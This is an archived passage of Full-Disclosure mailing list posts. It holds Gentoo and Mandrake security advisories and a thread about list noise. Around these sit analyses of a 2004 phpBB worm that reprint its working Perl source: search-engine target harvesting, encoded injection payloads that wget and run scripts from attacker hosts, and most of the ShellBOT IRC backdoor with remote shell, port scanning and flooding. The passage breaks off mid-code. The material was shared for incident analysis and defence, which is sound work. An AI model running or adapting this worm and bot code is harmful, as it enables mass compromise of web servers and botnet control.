The relevant code:
---------
$procura = 'inurl:*.php?*=' . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort =>
80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
...

$lista1 = 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget
www.visualcod
ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget
www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl
ownz.txt;perl php.txt';
$t =0;
$y =0;
ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
 $ja[$t] = $_;
 chomp $ja[$t];
 $t++;
 $y++;
}
close(opa);
$t=1;
while ($t < $y)
   {
    if ($ja[$t] =~/=/)
      {
       $num = rindex $ja[$t], '=';
       $num += 1;
       $ja[$t] = substr($ja[$t],0,$num);
            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
        $num = index $ja[$t], '=';
        $num += 1;
        $ja[$t] = substr($ja[$t],0,$num);
        $num1 = rindex $ja[$t], '.';
        $subproc = substr($ja[$t],$num1,$num);

            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
      }
     $t++;
     }

bye, ju

--
Juergen Schmidt Chefredakteur heise Security www.heisec.de
Heise Zeitschriften Verlag, Helstorferstr. 7, D-30625 Hannover
Tel. +49 511 5352 300 FAX +49 511 5352 417 EMail juheisec.de
GPG-Key: 0x38EA4970, 5D7B 476D 84D5 94FF E7C5 67BE F895 0A18 38EA 4970
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200501-05 ] mit-krb5: Heap overflow in libkadm5srv

From: Sune Kloppenborg Jeppesen (jaervoszgentoo.org)
Date: Wed Jan 05 2005 - 15:53:22 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-05
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: mit-krb5: Heap overflow in libkadm5srv
      Date: January 05, 2005
      Bugs: #75143
        ID: 200501-05

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The MIT Kerberos 5 administration library (libkadm5srv) contains a heap
overflow that could lead to execution of arbitrary code.

Background
==========

MIT krb5 is the free implementation of the Kerberos network
authentication protocol by the Massachusetts Institute of Technology.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-crypt/mit-krb5 < 1.3.6 >= 1.3.6

Description
===========

The MIT Kerberos 5 administration library libkadm5srv contains a heap
overflow in the code handling password changing.

Impact
======

Under specific circumstances an attacker could execute arbitary code
with the permissions of the user running mit-krb5, which could be the
root user.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All mit-krb5 users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-crypt/mit-krb5-1.3.6"

References
==========

  [ 1 ] CAN 2004-1189
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1189

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-05.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQBB3GHWzKC5hMHO6rkRAiZyAJ95SIB9mKLcXqY0EMQMo+d7UNtbUwCeIR8X
5fuIGQRiKYm3XhsIucKDGDo=
=ToTD
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] list noise

From: Steve Kudlak (stevex11sbcglobal.net)
Date: Thu Jan 06 2005 - 05:12:02 CST


In my case I get a mix of stuff that comes a variety of places. The
various sbc clones were in there, so was symoatico. There were Healtyh
Insurance processors and they seemed the worst. I think it varies
depending on a lot of variables. But it is worth watching this stuff
and taking adequate precautions. I have Norton and am considering a
backup. My other account is run through sentinare which is really good
that plus Norton gets almost everything. The only one that got through
yearsn ago was the A"Playa Virus" but luckily I don't use IE or Outlook
and I just tossed it withoug opening the attachment so all was OK.

Have Fun,
Sends Steve

P,S, I also scan all outgoing mail etc.

dcdaveatt.net wrote:

> Steve,
>
> On a related topic, what is sbcglobal?
> 90% of the virus e-mail I see coming in where I work (usually Jennifer
> the wild girl xxx07) is coming from infected sbcglobal addresses.
>
> Warm regards,
> dcdave--
> CSO
> InfoSec Group
> 703-626-6516
>
> -------------- Original message from Steve Kudlak
> <stevex11sbcglobal.net>: --------------
>
>
> > dcdaveatt.net wrote:
> >
> > >I will NOT respond to this;
> > >I will NOT respond to this;
> > >I will Not respond to this;
> > >
> > >dcdave
> > >
> > >--
> > >CSO
> > >InfoSec Group
> > >703-626-6516
> > >
> > >
> > > -------------- Original message ----------------------
> > >From: phased
> > >
> > >
> > >>I also care about noise, and responding to stupid mails makes
> it worse.
> > >>Every time people send stupid mails like the rm file thing,
> and people reply
> > to
> > >>the list, the author was successful in filling the list with
> crap for a day or
> > >>so.
> > >>
> > >>If no one replies, then they dont get attention and the people
> who know their
> > >>advisories(anyone with common sense) are blatantly crap will
> not be affected
> > by
> > >>their nuisance.
> > >>
> > >>You always get a load of emails to the list from people who
> want to tell
> > >>everyone they know that an advisory for example was crap, yes
> we know
> > >>thank you, but we are not handing out gold stars today!!!
> > >>No need to tell us all every time!!!
> > >>
> > >>phased
> > >>
> > >>-----Original Message-----
> > >>From: Barrie Dempster
> > >>To: full-disclosurelists.netsys.com
> > >>Date: Thu, 30 Dec 2004 09:36:07 +0000
> > >>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye
> > Products(IRISand
> > >>SecureIIS)
> > >>
> > >>
> > >>
> > >>>I'd hav! e to agr ee with the eEye statement on this one. You
> sent out an
> > >>>advisory without disclosing the details, which offers no real
> benefit to
> > >>>anyone. Many people consider this responsible disclosure but
> that also
> > >>>requires you to notify the vendor (there were no eeye.com's
> in your
> > >>>"to" list but there were a couple of press mailboxes).
> > >>>
> > >>>You didn't contact eEye, you didn't release details, you used an
> > >>>anonymous address and failed to mention or credit any of the
> other guys
> > >>>in your "testing team", This can only lead us to believe that
> the
> > >>>advisory is fake and only intended to generate bad press for
> eEye. I
> > >>>personally don't care about eEye's PR rating but I do care
> about the
> > >>>level of noise on these lists and I do care about backdoor-ed
> commercial
> > >>>products that are in common use. You may have an issue with
> eEye and see
> > >>>this as revenge. However, I doubt you also have an issue with
> the many
> > >>>admins who probably have spent their holiday season
> investigating these
> > >>>claims, when there are likely more pressing matters to
> address, such as
> > >>>a large stock of alcohol.
> > >>>
> > >>>Show us details, or be quiet. If you intended to embarrass
> eEye the plan
> > >>>backfired as any competent professional on this list (there
> are a few -
> > >>>I've heard stories about them) would see this as a shameful
> attempt and
> > >>>would be laughing at you, not eEye.
> > >>>
> > >>>Seasons greetings to eEye and all Full Disclosure subscribers
> - even you
> > >>>"Lance Gusto".
> > >>>
> > >>>With Regards..
> > >>>Barrie Dempster (zeedo) - Fortiter et Strenue
> > >&! gt;>
> > >>> http://www.bsrf.org.uk
> > >>>
> > >>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
> > >>>
> > >>>
> > >>>
> > >>>
> > >>>
> > >>>ATTACHMENT: application/pgp-signature ("signature.asc")
> > >>>
> > >>>_______________________________________________
> > >>>Full-Disclosure - We believe in it.
> > >>>Charter: http://lists.netsys.com/full-disclosure-charter.html
> > >>>
> > >>>
> > >>>
> > >>>
> > >>_______________________________________________
> > >>Full-Disclosure - We believe in it.
> > >>Charter: http://lists.netsys.com/full-disclosure-charter.html
> > >>
> > >>
> > >
> > >
> > >_______________________________________________
> > >Full-Disclosure - We believe in it.
> > >Charter: http://lists.netsys.com/full-disclosure-charter.html
> > >
> > >
> > >
> > Neither Will I!
> > Neither Will I!
> > Neither Will I!
> > Let it Die!
> > Let it Die!
> > Let it Die!;)
> >
> > Have Fun,
> > Sends Steve
> >
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [gentoo-announce] [ GLSA 200501-08 ] phpGroupWare: Various vulnerabilities

From: Luke Macken (lewkgentoo.org)
Date: Thu Jan 06 2005 - 15:12:11 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: phpGroupWare: Various vulnerabilities
      Date: January 06, 2005
      Bugs: #74487
        ID: 200501-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple vulnerabilities have been discovered in phpGroupWare that
could lead to information disclosure or remote compromise.

Background
==========

phpGroupWare is a web-based suite of group applications including a
calendar, todo-list, addressbook, email, wiki, news headlines, and a
file manager.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 www-apps/phpgroupware < 0.9.16.004 >= 0.9.16.004

Description
===========

Several flaws were discovered in phpGroupWare making it vulnerable to
cross-site scripting attacks, SQL injection, and full path disclosure.

Impact
======

These vulnerabilities could allow an attacker to perform cross-site
scripting attacks, execute SQL queries, and disclose the full path of
the web directory.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All phpGroupWare users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=www-apps/phpgroupware-0.9.16.004"

References
==========

  [ 1 ] BugTraq Advisory
        http://www.securityfocus.com/archive/1/384492

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-08.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFB3amrRsm3eDkOu7kRAnP6AJ9llXc3DkHxOyaXTIx7B+G0ItqS0gCdFqyx
J3NxJqdirrqPUouDCIMFU0c=
=EFGG
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] MDKSA-2005:002 - Updated wxGTK2 packages fix vulnerabilities

From: Mandrake Linux Security Team (securitylinux-mandrake.com)
Date: Thu Jan 06 2005 - 14:52:17 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name: wxGTK2
 Advisory ID: MDKSA-2005:002
 Date: January 6th, 2005

 Affected versions: 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 Several vulnerabilities have been discovered in the libtiff package;
 wxGTK2 uses a libtiff code tree, so it may have the same
 vulnerabilities:
 
 iDefense reported the possibility of remote exploitation of an integer
 overflow in libtiff that may allow for the execution of arbitrary code.
 
 The overflow occurs in the parsing of TIFF files set with the
 STRIPOFFSETS flag.
 
 iDefense also reported a heap-based buffer overflow vulnerability
 within the LibTIFF package could allow attackers to execute arbitrary
 code. (CAN-2004-1308)
 
 The vulnerability specifically exists due to insufficient validation of
 user-supplied data when calculating the size of a directory entry.
 
 The updated packages are patched to protect against these
 vulnerabilities.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 ba9d5780d05078247a92f6cd0884a642 10.0/RPMS/libwxgtk2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 369c1190bf5ff19a89728a633a2243bb 10.0/RPMS/libwxgtk2.5-devel-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 81878a529f380d3edac2d35427820a40 10.0/RPMS/libwxgtkgl2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 d457c6001ae548eed3f74fece216538c 10.0/RPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.i586.rpm
 5e8b965e2f4d744b994ff4d33f76de40 10.0/SRPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 618a8fe53ecade77de29e9a0c5c0ccde amd64/10.0/RPMS/lib64wxgtk2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 c4a9b6e1c1340e38ff19a8bf15daa93e amd64/10.0/RPMS/lib64wxgtk2.5-devel-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 53f31674004696ef38f278481be554e7 amd64/10.0/RPMS/lib64wxgtkgl2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 f9e36ab6a1ed9d312ce5882308f91619 amd64/10.0/RPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.amd64.rpm
 5e8b965e2f4d744b994ff4d33f76de40 amd64/10.0/SRPMS/wxGTK2.5-2.5.0-0.cvs20030817.1.5.100mdk.src.rpm

 Mandrakelinux 10.1:
 9b9e61df2db9973b8f452acf61104f42 10.1/RPMS/libwxgtk2.5_1-2.5.1-5.3.101mdk.i586.rpm
 c524f5fc3392651e1cbecde322eaa1a0 10.1/RPMS/libwxgtk2.5_1-devel-2.5.1-5.3.101mdk.i586.rpm
 c82c706931183f2c18bbdf3e52fed787 10.1/RPMS/libwxgtkgl2.5_1-2.5.1-5.3.101mdk.i586.rpm
 8c8e53e3b50fb2bd335d16e0ca7f6fd8 10.1/RPMS/wxGTK2.5-2.5.1-5.3.101mdk.i586.rpm
 c5a574a7031028f589d77f4254997d6f 10.1/SRPMS/wxGTK2.5-2.5.1-5.3.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 eba730a0d098c7d130423b8245a8f80b x86_64/10.1/RPMS/lib64wxgtk2.5_1-2.5.1-5.3.101mdk.x86_64.rpm
 478acd8d9d1a34e44bc31adaab387e8a x86_64/10.1/RPMS/lib64wxgtk2.5_1-devel-2.5.1-5.3.101mdk.x86_64.rpm
 c2fd48c6377ae03768a4cabe0f03c3f5 x86_64/10.1/RPMS/lib64wxgtkgl2.5_1-2.5.1-5.3.101mdk.x86_64.rpm
 afe966ca2449461e304c498d0873aace x86_64/10.1/RPMS/wxGTK2.5-2.5.1-5.3.101mdk.x86_64.rpm
 c5a574a7031028f589d77f4254997d6f x86_64/10.1/SRPMS/wxGTK2.5-2.5.1-5.3.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi. The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security. You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID Date User ID
 pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aUBmqjQ0CJFipgRAvJFAJ9d5XaOR+GOiAzExvBrfTtRD+56mwCeI06S
5wZTm9MOdhQLxjV3NskMxao=
=Aneh
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: new phpBB worm affects 2.0.11

From: Adam (adamfazed.org)
Date: Sat Dec 25 2004 - 13:14:23 CST


The request for this one (even against a non phpBB scripts) appears to
look like this:

"GET
/?p=comments&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20crowklan.mine.nu/~pillar/.zk/coll;perl%20coll;wget%20crowklan.mine.nu/~pillar/.zk/aol;perl%20aol;rm%20-rf%20aol.*;rm%20-rf%20coll*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
HTTP/1.1"

-Adam

Herman Sheremetyev wrote:
> My patched phpBB 2.0.11 running on FreeBSD 4.10 was exploited by a new
> variation of the worm this morning. I'm attaching the 2 perl scripts it
> installs, one is an irc bot the other the worm itself.
>
> -Herman
>
>
> ------------------------------------------------------------------------
>
> #/usr/bin/perl
>
> use IO::Socket;
> use LWP::Simple;
> my $processo = "/usr/bin/httpd -DSSL";
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
> while(1){
> vul = "";
> $a=0;
> $numero = int rand(999);
> $site = "www.google.com";
> $procura = "inurl:viewtopic.php?t=$numero";
>
> ######################################
> for($n=0;$n<90;$n += 10){
> $sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
> print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
> resu = <$sock>;
> close($sock);
> $ae = "resu";
> while ($ae=~ m/<a href=.*?>.*?<\/a>/){
> $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
> $uber=$1;
> if ($uber !~/translate/)
> {if ($uber !~ /cache/)
> {if ($uber !~ /"/)
> {if ($uber !~ /google/)
> {if ($uber !~ /216/)
> {if ($uber =~/http/)
> {if ($uber !~ /start=/)
> {
> if ($uber =~/&/)
> {
> $nu = index $uber, '&';
> $uber = substr($uber,0,$nu);
> }
> $vul[$a] = $uber;
> $a++;
> }}}}}}}}}
> ##########################
> for($cadenu=1;$cadenu <= 99; $cadenu +=10){
>
> cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next;
> $ae = "cade";
>
> while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
> $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
> $uber=$1;
>
> $uber =~ s/ //g;
> $uber =~ s/<b>//g;
> $uber =~ s/<\/b>//g;
> $uber =~ s/<wbr>//g;
>
> if ($uber =~/&/)
> {
> $nu = index $uber, '&';
> $uber = substr($uber,0,$nu);
> }
> $vul[$a] = $uber;
> $a++
> }}
>
> #########################
>
>
> $cmd = '&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%2
52echr(101)%252echr(46)%252echr'.'(99)%252echr(111)%252echr(109)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527';
>
>
> $b = scalar(vul);
>
> for($a=0;$a<=$b;$a++)
> {
>
> $sitevul = $vul[$a] . $cmd;
> if($sitevul !~/http/){ $sitevul = 'http://' . $sitevul; }
> $res = get($sitevul) or next;
> }
>
>
>
>
>
>
>
>
>
>
>
>
> }
>
>
> ------------------------------------------------------------------------
>
> #!/usr/bin/perl
> #
> # ShellBOT - Atrix Team
> #
> # 0ldW0lf - oldwolfatrix-team.org
> # - www.atrix-team.org
> # - www.atrix.cjb.net
> #
> #
> ################ CONFIGURACAO #################################################################
> my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
> #----------------------------------------------################################################
> my $linas_max='8'; # Evita o flood :) depois de X linhas #
> #----------------------------------------------################################################
> my $sleep='4'; # ele dorme X segundos #
> ##################### IRC #####################################################################
> my adms=("ssh"); # Nick do administrador #
> #----------------------------------------------################################################
> my canais=("#ssh echo"); # Caso haja senha ("#canal :senha") #
> #----------------------------------------------################################################
> my $nick='sshd'; # Nick do bot. Caso esteja em uso vai aparecer #
> # aparecer com numero radonamico no final #
> #----------------------------------------------################################################
> my $ircname = 'ssh'; # User ID #
> #----------------------------------------------################################################
> chop (my $realname = `uname -a`); # Full Name #
> #----------------------------------------------################################################
> $servidor='ssh.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado #
> # caso não seja especificado no argumento #
> #----------------------------------------------################################################
> my $porta='6667'; # Porta do servidor de irc #
> ################ ACESSO A SHELL ###############################################################
> my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
> ###############################################################################################
>
> my $VERSAO = '0.2';
>
> $SIG{'INT'} = 'IGNORE';
> $SIG{'HUP'} = 'IGNORE';
> $SIG{'TERM'} = 'IGNORE';
> $SIG{'CHLD'} = 'IGNORE';
> $SIG{'PS'} = 'IGNORE';
>
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor="$ARGV[0]" if $ARGV[0];
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
>
>
> my $dcc_sel = new IO::Select->new();
>
> #############################
> # B0tchZ na veia ehehe :P #
> #############################
>
> $sel_cliente = IO::Select->new();
> sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>
> sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
> sleep 1;
> }
>
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
> delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my ready = $sel_cliente->can_read(0);
> next unless(ready);
> foreach $fh (ready) {
> $IRC_cur_socket = $fh;
> $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
> }
>
>
>
> sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \:(.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\(.+?) PRIVMSG (.+?) \:(.+)/) {
> my $pn=$1; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
> }
> if (grep {$_ =~ /^\Q$pn\E$/i } adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
> my $natrix = $1;
> my $arg = $2;
> if ($arg =~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and $arg =~ /^\!nick/);
> } elsif ($arg =~ /^\(.*)/) {
> $ondep = $onde;
> $ondep = $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\(.+?)\s+NICK\s+\:(\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=$4;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> }
> } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
> $meunick = $2;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
> foreach my $canal (canais) {
> sendraw("JOIN $canal");
> }
> }
> }
>
> sub bfunc {
> my $printl = $_[0];
> my $funcarg = $_[1];
> if (my $pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =~ /^portscan (.*)/) {
> my $hostip="$1";
> my portas=("21","22","23","25","53","80","110","143");
> my (aberta, %porta_banner);
> foreach my $porta (portas) {
> my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
> if ($scansock) {
> push (aberta, $porta);
> $scansock->close;
> }
> }
>
> if (aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: aberta");
> } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
> }
> }
> if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
> $dtime = 1 if $dtime == 0;
> my %bytes;
> $bytes{igmp} = $2 * $pacotes{igmp};
> $bytes{icmp} = $2 * $pacotes{icmp};
> $bytes{o} = $2 * $pacotes{o};
> $bytes{udp} = $2 * $pacotes{udp};
> $bytes{tcp} = $2 * $pacotes{tcp};
>
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
>
>
> }
> exit;
> }
> }
> }
>
> sub ircase {
> my ($kem, $printl, $case) = _;
>
> if ($case =~ /^join (.*)/) {
> j("$1");
> }
> if ($case =~ /^part (.*)/) {
> p("$1");
> }
> if ($case =~ /^rejoin\s+(.*)/) {
> my $chan = $1;
> if ($chan =~ /^(\d+) (.*)/) {
> for (my $ca = 1; $ca <= $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg = substr($case, 3);
> op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg = substr($case, 5);
> deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
